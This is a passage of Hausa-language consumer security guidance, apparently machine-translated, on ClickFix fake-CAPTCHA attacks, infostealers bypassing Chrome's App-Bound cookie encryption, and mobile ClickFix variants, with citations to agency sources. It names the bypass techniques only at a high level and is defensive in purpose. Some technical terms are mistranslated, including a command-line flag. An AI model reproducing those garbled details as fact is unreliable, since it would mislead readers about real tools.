An fara daga Chrome 127+, Google ya gabatar da App-Bound Encryption akan Windows, wanda ke ɗaure ɓoyayyen kuki (`v20` prefix) zuwa sabis ɗin tsarin Windows mai ɗaukaka (`GoogleChromeElevationService`) don dakatar da ƙananan gata malware daga ɓoye kukis. Koyaya, ginin zamani na Lumma Stealer, StealC, kuma Medusa ketare ɓoyayyen ɓoyayyen App-Bound ta hanyar shigar da lamba kai tsaye cikin misalin mara kai na chrome.exe, cin zarafi na tashar gyara matsala mai nisa ta Chrome (--remote-debugging-tashar ruwa), ko haɓaka gata don kiran Ielevator COM interface. Kada ku taɓa ɗauka Chrome 127+ ya kare kukis ɗin zaman ku idan kun aiwatar da aikin ClickFix; ko da yaushe soke duk zaman nan da nan.

Shin umarnin ClickFix da aka aiwatar akan wayar iPhone ko Android na iya cutar da wayata da Win + R malware?¶

Idan kun taɓa CAPTCHA na karya akan iPhone (`iOS`) ko wayar Android, kowane Windows PowerShell / mshta.exe an kwafi umarnin zuwa allo na wayar hannu ba zai iya aiwatarwa akan iOS ko Android ba, saboda tsarin aiki na wayar hannu ba su da a Win + R Guda tattaunawa, powershell.exe, ko mshta.exe. Koyaya, wasu shafukan ClickFix na wayar hannu suna gano wakilin mai amfani da wayar ku kuma suna tura ku don shigar da Android mai cutarwa. .apk fayil, damfara iOS Mobile Device Management (`MDM`) bayanin martaba, ko biyan kuɗin sanarwar PWA/Web Push na mugunta. Bincika cewa ba ku shigar da kowane fayil ko bayanin martaba da aka sauke ba.

Jagora masu alaƙa¶

• Satar kuki na zama, ɓarna malware, da soke maɓallin wucewa
• Magudanar walat ɗin Cryptocurrency da jumlolin jimlar iri
• Malware, ransomware, da ciwon leƙen asiri
• An yi kutse ta asusun imel, ƙa'idodin turawa, da dawo da su
• Sarkar saƙon npm/PyPI daidaitawa da jujjuyawar maɓalli na wurin aiki
• Fake riga-kafi scareware, sanarwar spam, da kuma tura izinin burauza
• Lambobin gaggawa ta ƙasa

Tushen da jagorar hukuma¶

• Hukumar Tsaro ta Yanar Gizo da TsaroCISA) & Ofishin Bincike na Tarayya (FBI) (Amurka): Shawarar Haɗin Kan Tsaro ta Intanet (AA24-131A / Infostealer & Lumma Satar Barazana Shawarwari): Rage Rayuwa-Ba-da-Land (LOLBin) da Hare-haren Satar Zama.
• Cibiyar Ƙididdiga da Fasaha ta Ƙasa (NIST) (Amurka): * Bugawa ta Musamman 800-61 Rev. 2: Jagorar Kula da Al'amuran Tsaron Kwamfuta & SP 800-63B: Ka'idodin Shaida na Dijital (Gudanar da Zama da Tabbatarwa)*.
• Sirrin Barazana na Microsoft (Microsoft Security): Binciken ClickFix Social Engineering Campaigns, Fake CAPTCHA Clipboard Allura (RunMRU), da PowerShell Script Block Logging (.Event ID 4104).
• Cibiyar Tsaro ta Cyber ​​(National Cyber Security Center)NCSC) (United Kingdom): Rayuwar Malware da hare-haren Ransomware & Jagorar Satar Sata na Matakin Na'ura.
• Hukumar Tarayyar Turai don Tsaro ta Intanet (ENISA): Rahoton Barazanar Filayen ENISA: Masu Satar Bayanai (Lumma, StealC, RedLine, AMOS) da matakan Satar Kuki na Zama.